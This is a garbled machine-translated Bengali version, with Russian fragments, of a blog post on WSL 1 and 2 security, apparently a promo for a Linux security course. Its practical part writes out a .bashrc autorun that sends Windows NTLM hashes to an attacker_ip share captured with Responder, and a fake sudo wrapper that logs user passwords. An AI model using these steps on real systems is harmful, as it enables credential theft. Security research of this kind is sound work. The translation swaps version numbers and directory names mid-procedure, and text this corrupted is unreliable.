WSL পরীক্ষা। অংশ 1

হ্যালো, হ্যাবর! OTUS অক্টোবরে একটি নতুন কোর্স স্ট্রিম চালু করে৷ "লিনাক্স নিরাপত্তা". কোর্স শুরুর প্রত্যাশায়, আমরা আপনার সাথে আমাদের একজন শিক্ষক আলেকজান্ডার কোলেসনিকভের লেখা একটি নিবন্ধ শেয়ার করছি।

2016 সালে, মাইক্রোসফ্ট আইটি সম্প্রদায়ের কাছে নতুন WSL প্রযুক্তি চালু করেছে (Windows Sজন্য ubsystem Linux), যা ভবিষ্যতে পূর্বের অসংলগ্ন প্রতিযোগীদের একত্রিত করা সম্ভব করেছে যারা সাধারণ এবং উন্নত OS ব্যবহারকারীদের মধ্যে জনপ্রিয়তার জন্য লড়াই করছিল: উইন্ডোজ এবং লিনাক্স। এই প্রযুক্তিটি লিনাক্স চালানোর প্রয়োজন ছাড়াই উইন্ডোজ পরিবেশে লিনাক্স ওএস টুল ব্যবহার করা সম্ভব করেছে, উদাহরণস্বরূপ, মাল্টি-বুট ব্যবহার করে। হাবরে আপনি WSL ব্যবহারের সুবিধা বর্ণনা করে প্রচুর নিবন্ধ খুঁজে পেতে পারেন। যাইহোক, দুর্ভাগ্যবশত, এই নিবন্ধটি তৈরির সময়, এই সম্পদে অপারেটিং সিস্টেমের এই ধরনের সিম্বিওসিসের নিরাপত্তার বিষয়ে কোনো গবেষণা পাওয়া যায়নি। এই পোস্টটি এটি সংশোধন করার চেষ্টা করা হবে। নিবন্ধটি WSL 1 এবং 2 আর্কিটেকচারের বৈশিষ্ট্যগুলি সম্পর্কে কথা বলবে এবং এই প্রযুক্তিগুলি ব্যবহার করে সিস্টেমগুলিতে আক্রমণের বেশ কয়েকটি উদাহরণ পরীক্ষা করবে। নিবন্ধটি 2 ভাগে বিভক্ত। প্রথমটি লিনাক্স এবং উইন্ডোজ থেকে প্রধান তাত্ত্বিক আক্রমণ পদ্ধতি প্রদান করবে। দ্বিতীয় নিবন্ধটি একটি পরীক্ষার পরিবেশ স্থাপন এবং আক্রমণগুলি পুনরুত্পাদনকে জড়িত করবে।

WSL 1: স্থাপত্য বৈশিষ্ট্য

ডাব্লুএসএল নিরাপত্তা সমস্যাগুলির মধ্যে সবচেয়ে সঠিকভাবে ডুব দেওয়ার জন্য, সাবসিস্টেম বাস্তবায়নের সাথে যুক্ত প্রধান সূক্ষ্মতাগুলি নির্ধারণ করা প্রয়োজন। WSL দ্বারা সমাধান করা প্রধান ব্যবহারকারীর কাজগুলির মধ্যে একটি হল উইন্ডোজ ওএস চলমান একটি হোস্টে একটি লিনাক্স টার্মিনালের মাধ্যমে কাজ করার ক্ষমতা। এছাড়াও, প্রস্তাবিত সামঞ্জস্য এতটাই নেটিভ ছিল যে লিনাক্স এক্সিকিউটেবল (ইএলএফ) সরাসরি উইন্ডোজ সিস্টেমে চালানো যেতে পারে। এই লক্ষ্যগুলি অর্জনের জন্য, উইন্ডোজ 10 এ একটি বিশেষ সাবসিস্টেম তৈরি করা হয়েছিল যা আপনাকে নির্দিষ্ট সিস্টেম কলগুলির একটি সেট ব্যবহার করে লিনাক্স অ্যাপ্লিকেশনগুলি চালানোর অনুমতি দেয় - এইভাবে, উইন্ডোজে লিনাক্স সিস্কালগুলির একটি সেট ম্যাপ করার চেষ্টা করা হয়েছিল। এটি শারীরিকভাবে নতুন ড্রাইভার এবং একটি নতুন প্রক্রিয়া বিন্যাস যোগ করে বাস্তবায়িত হয়েছিল। দৃশ্যত স্থাপত্য এই মত লাগছিল:

আসলে, লিনাক্স অপারেটিং সিস্টেমের সাথে মিথস্ক্রিয়া বেশ কয়েকটি কার্নেল মডিউল এবং একটি বিশেষ ধরণের প্রক্রিয়া - পিকোর মাধ্যমে সংগঠিত হয়েছিল। উপরের চিত্র থেকে, আপনি দেখতে পাচ্ছেন যে হোস্টে লিনাক্স ইনস্ট্যান্সে চলমান প্রক্রিয়াটি অবশ্যই নেটিভ হতে হবে এবং নিয়মিত উইন্ডোজ অ্যাপ্লিকেশনগুলির মতো একই সংস্থান ব্যবহার করতে হবে। কিন্তু কিভাবে এই অর্জন? প্রকল্পে ড্রব্রিজ উইন্ডোজের জন্য প্রসেস ধারণাগুলি তৈরি করা হয়েছিল যা অন্য OS-এর একটি অ্যাপ্লিকেশন চালানোর জন্য অপারেটিং সিস্টেমের সমস্ত প্রয়োজনীয় উপাদান (এর সংস্করণের উপর নির্ভর করে) প্রদান করে।

উল্লেখ্য যে প্রস্তাবিত বিমূর্ততা অপারেটিং সিস্টেমে (বিশেষত, উইন্ডোজ) ফোকাস না করাকে সম্ভব করেছে, যেখানে অন্য ওএসের প্রক্রিয়া চালু হওয়ার আশা করা হচ্ছে এবং একটি সাধারণ পদ্ধতির পরামর্শ দেওয়া হয়েছে।

সুতরাং, পিকো প্রক্রিয়ার ভিতরে যেকোন অ্যাপ্লিকেশন উইন্ডোজ কার্নেল বিবেচনা না করেই চলতে পারে:

1. সিস্টেম কলগুলির সামঞ্জস্য এবং অনুবাদের সমস্যাগুলি বিশেষ প্রদানকারীদের দ্বারা সমাধান করা আবশ্যক;
2. নিরাপত্তা মনিটরের মাধ্যমে অ্যাক্সেস নিয়ন্ত্রণ করতে হবে। মনিটরটি কার্নেলে অবস্থিত এবং তাই উইন্ডোজের একটি নতুন ড্রাইভারের আকারে একটি আপগ্রেড প্রয়োজন যা এই ধরনের প্রক্রিয়াগুলির জন্য একটি প্রদানকারী হিসাবে কাজ করতে পারে। প্রোটোটাইপ পিকো প্রক্রিয়াটি পরিকল্পনাগতভাবে নীচে উপস্থাপন করা হয়েছে:

যেহেতু লিনাক্স ফাইল সিস্টেম কেস-সংবেদনশীল ফাইল এবং ডিরেক্টরির নাম ব্যবহার করে, তাই WSL- VolFS এবং DriveFS-এর সাথে কাজ করার জন্য উইন্ডোজে 2 ধরনের ফাইল সিস্টেম যুক্ত করা হয়েছে। VolFS হল Linux ফাইল সিস্টেমের একটি বাস্তবায়ন, DriveFS হল একটি ফাইল সিস্টেম যা উইন্ডোজ নিয়ম অনুযায়ী কাজ করে, কিন্তু কেস সংবেদনশীলতা নির্বাচন করার ক্ষমতা রয়েছে।

WSL 2

WSL 1-এর অনেক সীমাবদ্ধতা ছিল যা এটিকে সর্বাধিক পরিসরের কাজগুলি সমাধান করতে ব্যবহার করার অনুমতি দেয়নি: উদাহরণস্বরূপ, এটির 32-বিট লিনাক্স অ্যাপ্লিকেশন চালানোর ক্ষমতা ছিল না এবং ডিভাইস ড্রাইভার ব্যবহার করা অসম্ভব ছিল। অতএব, 2020 সালে, WSL 2 প্রকাশিত হয়েছিল, যা সাবসিস্টেম তৈরির পদ্ধতি পরিবর্তন করেছিল। WSL 2 হল একটি অপ্টিমাইজ করা ভার্চুয়াল মেশিন যা WSL 1 এর রিসোর্স খরচ বৈশিষ্ট্যের সাথে মেলে। এখন, Windows OS ব্যবহারকারীর দ্বারা সমাধান করা সমস্যার উপর নির্ভর করে, আপনি Linux সাবসিস্টেমের প্রয়োজনীয় সংস্করণ নির্বাচন করতে পারেন। সম্ভাব্য দুর্বলতা প্রশমিত করার জন্য, উইন্ডোজ 2-এ হাইপার-ভি-এর উপর ভিত্তি করে WSL 10 প্রয়োগ করা হয়েছিল। এই ফর্মে, উইন্ডোজ বিচ্ছিন্নভাবে লিনাক্স অপারেটিং সিস্টেম কার্নেল চালানোর ক্ষমতা রাখে। এটা মনে রাখা দরকার যে WSL-এর সংস্করণ 1 একটি বিটা বৈশিষ্ট্য হিসাবে চালু করা হয়েছিল যা এই এলাকায় উইন্ডোজ বিকাশের দিকটি দেখানোর কথা ছিল, তাই হাইপার-ভিতে রূপান্তর অনিবার্য ছিল। চূড়ান্ত স্থাপত্য এই মত দেখায়:

এই সংস্করণে, উইন্ডোজ এবং লিনাক্স কার্নেলগুলির নিজস্ব সংস্থান রয়েছে এবং ছেদটি শুধুমাত্র ফাইল সিস্টেমে বিদ্যমান, তবে এই ছেদটি সম্পূর্ণ নয়। ফাইল সিস্টেমের মধ্যে মিথস্ক্রিয়া একটি ক্লায়েন্ট-সার্ভার র‍্যাপারের মাধ্যমে সঞ্চালিত হয় যা 9P প্রোটোকল ব্যবহার করে কাজ করে।

আজ মাইক্রোসফ্ট WSL 1 এবং WSL 2 এর মধ্যে স্যুইচ করার ক্ষমতা প্রদান করে। উভয় সংস্করণই ব্যবহারের জন্য উপলব্ধ।

WSL নিরাপত্তা

এই মুহুর্তে, সাবসিস্টেমগুলির মধ্যে যোগাযোগকে আক্রমণ করার জন্য বৈধ OS সরঞ্জামগুলি ব্যবহার করার কিছু পদ্ধতির বর্ণনা করে বেশ কয়েকটি কাজ রয়েছে। লেখার সময় আক্রমণের প্রাসঙ্গিকতা পরীক্ষা করতে আমরা তাদের স্ক্রিপ্ট ব্যবহার করব। আক্রমণ এবং পরিস্থিতির সাধারণ তালিকা:

1. ফাইল সিস্টেম বাস্তবায়ন: অ্যাক্সেসের অধিকার, শেয়ার্ড ডিরেক্টরি/ডেটা এক্সচেঞ্জ মেকানিজমের প্রাপ্যতা।

থেকে অ্যাক্সেসের নিয়ম লঙ্ঘন নির্ধারণের জন্য গবেষণা পরিচালিত হয়েছিল লিনাক্স এফএস->উইন্ডোজ এফএস, উইন্ডোজ এফএস->লিনাক্স এফএস. গবেষণা লক্ষ্য ওএসের মধ্যে একটি প্রদত্ত ফাইল পরিবর্তন করার ক্ষমতা প্রদর্শন করেছে। ফাইল সিস্টেমের প্রতিস্থাপন, সদৃশ তৈরি এবং মুছে ফেলারও চেষ্টা করা হয়েছিল।

লিপি:

• উ: উইন্ডোজ অপারেটিং সিস্টেম থেকে আক্রমণ - Linux OS-এর /etc ডিরেক্টরি থেকে ফাইলের পরিবর্তন।
• বি. লিনাক্স অপারেটিং সিস্টেম থেকে আক্রমণ - ডিরেক্টরিতে ফাইলের পরিবর্তন: C:Windows, C:Program Files, C:Users<User>

2. নেটওয়ার্ক স্ট্যাকের বাস্তবায়ন।

উইন্ডোজে লিনাক্স অপারেটিং সিস্টেম থেকে আক্রমণের উদাহরণ ব্যবহার করে গবেষণাটি করা হয়েছিল। নেটওয়ার্ক স্ট্যাকের বৈশিষ্ট্যগুলি ব্যবহার করা হয়েছিল, যথা, বিভিন্ন সংস্থানগুলিতে প্রমাণীকরণ প্রক্রিয়া।

লিপি:

• উইন্ডোজ সিস্টেমে থাকা একটি পোর্টে অ্যাক্সেস খোলা
• উপযুক্ত অধিকার ছাড়াই বন্দর খোলা
• উইন্ডোজ অপারেটিং সিস্টেমে এলফ ফাইল ব্যবহার করে বিপরীত শেল চালানো।

3. WSL সাবসিস্টেম ব্যবহার করে দূষিত সফ্টওয়্যার প্রসেসের প্রবর্তন লুকিয়ে রাখা।

গবেষণাটি একটি সাধারণ সত্যের উপর ভিত্তি করে ছিল - নিরাপত্তা সাবসিস্টেমগুলি অন্য কার্নেলে ইভেন্টগুলিকে আটকাতে পারে না যা WSL 1 এর ক্ষেত্রে অপারেটিং সিস্টেম থেকে একটি বৈধ প্রদানকারী ব্যবহার করে কাজ করে৷ WSL 2 এর ক্ষেত্রে, ঘটে যাওয়া ঘটনাগুলি দেখার কোন উপায় নেই৷ লাইটওয়েট ভার্চুয়াল মেশিনের মধ্যে একটি পৃথক কার্নেলে।

লিপি:

1) সিস্টেমে দূরবর্তী অ্যাক্সেসের জন্য অ্যাপ্লিকেশনটি চালু করুন এবং লগ করা ইভেন্টগুলি দেখুন।

WSL 1 পরীক্ষা: হ্যাশ ইন্টারসেপশন (উইন্ডোজ)

অবশেষে আমরা ব্যবহারিক অংশে পৌঁছেছি। প্রথমত, আপনাকে পরীক্ষার পরিবেশ সেট আপ করতে হবে। উইন্ডোজ 10 2004 ইনস্টল করা একটি বেঞ্চে সমস্ত পরীক্ষা-নিরীক্ষা করা হবে। WSL-এর জন্য Ubuntu 18.04 ইমেজটি অপারেটিং সিস্টেম ইমেজ হিসেবে বেছে নেওয়া হয়েছে। ইমেজ এলোমেলোভাবে নির্বাচিত হয়েছে, এবং অন্য কোনো একই কাজ করবে. স্ট্যান্ড সেট আপ করার জন্য কমান্ড:

আপনাকে প্রথমে লঞ্চ করতে হবে powershell.exe প্রশাসক হিসাবে।

WSL 1 এর জন্য আপনাকে কমান্ডগুলি চালাতে হবে:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

স্ট্যান্ড রিবুট করার পরে, আপনি bash কমান্ড কল করতে পারেন। সবকিছু সঠিকভাবে কাজ করলে, আপনি উইন্ডোজ কনসোলে এর অনুরূপ আউটপুট দেখতে পাবেন:

আমরা কালি লিনাক্স ডিস্ট্রিবিউশনকে আক্রমণকারীর মেশিন হিসাবে ব্যবহার করব; সমস্ত মেশিন অবশ্যই একই স্থানীয় নেটওয়ার্কে থাকতে হবে।

আসুন ধরে নিই আমাদের একটি উইন্ডোজ মেশিনে WSL-এ সুবিধাবিহীন অ্যাক্সেস রয়েছে। লিনাক্স থেকে একটি কমান্ড কল করে লিনাক্স অপারেটিং সিস্টেম আক্রমণ করার চেষ্টা করা যাক। আক্রমণটি বাস্তবায়ন করতে, আমরা একটি সাধারণ অটোরান কৌশল ব্যবহার করব - আমরা লিনাক্স পরিবেশে কার্যকর করার জন্য আমাদের স্ক্রিপ্ট যুক্ত করব। এটি করার জন্য আপনাকে ফাইলটি পরিবর্তন করতে হবে .bashrc.

WSL এর সাথে একটি মেশিনে আমরা কার্যকর করি:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

একটি কালি লিনাক্স মেশিনে আমরা চালাই:

1. Responder -I eth0 -rdvw

একটি উইন্ডোজ মেশিনে, ব্যাশ চালু করা যাক।

আমরা কালি লিনাক্স মেশিনে ফলাফলের জন্য অপেক্ষা করছি:

এইভাবে, আমরা লিনাক্স সিস্টেমে কমান্ড কার্যকর করার মাধ্যমে WSL সাবসিস্টেমের মাধ্যমে উইন্ডোজ ব্যবহারকারী হ্যাশগুলি পেয়েছি।

WSL 1 পরীক্ষা: ব্যবহারকারীর পাসওয়ার্ড প্রাপ্ত করা (লিনাক্স ওএস)

আরো একটি পরীক্ষা করা যাক. এই চেক করার সময় আমরা ফাইলে যোগ করব .bashrc লিনাক্স অপারেটিং সিস্টেম ব্যবহারকারীর পাসওয়ার্ড পাওয়ার জন্য বেশ কয়েকটি কমান্ড।

ব্যাশ চালু করুন এবং কমান্ড লিখুন:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

সফলভাবে আক্রমণটি সম্পূর্ণ করতে, ব্যবহারকারী স্যামকে লিনাক্স টার্মিনালে sudo কল করতে হবে। এর পরে, লিনাক্স ওএস ব্যবহারকারীর পাসওয়ার্ড ফাইলটিতে থাকবে pass.txt:

হামলার বাস্তবায়ন শুধুমাত্র তাত্ত্বিক তথ্যের জন্য দেওয়া হয়েছিল।

নিবন্ধের পরবর্তী অংশে 9P প্রোটোকলের বাস্তবায়ন বর্ণনা করা হবে, এই প্রোটোকলের জন্য একটি স্ক্যানার তৈরির কথা বিবেচনা করা হবে এবং এটি ব্যবহার করে আক্রমণ চালানো হবে।

ব্যবহৃত সাহিত্যের তালিকা

• ডাব্লুএসএল 2 খারাপ বিষয়ে গবেষণা
• লিনাক্স ডকুমেন্টেশনের জন্য উইন্ডোজ সাবসিস্টেম

আরও পড়ুন

• রিয়েল-টাইম লিনাক্স কার্নেল প্যাচিং সফ্টওয়্যার কীভাবে চয়ন করবেন

উত্স: www.habr.com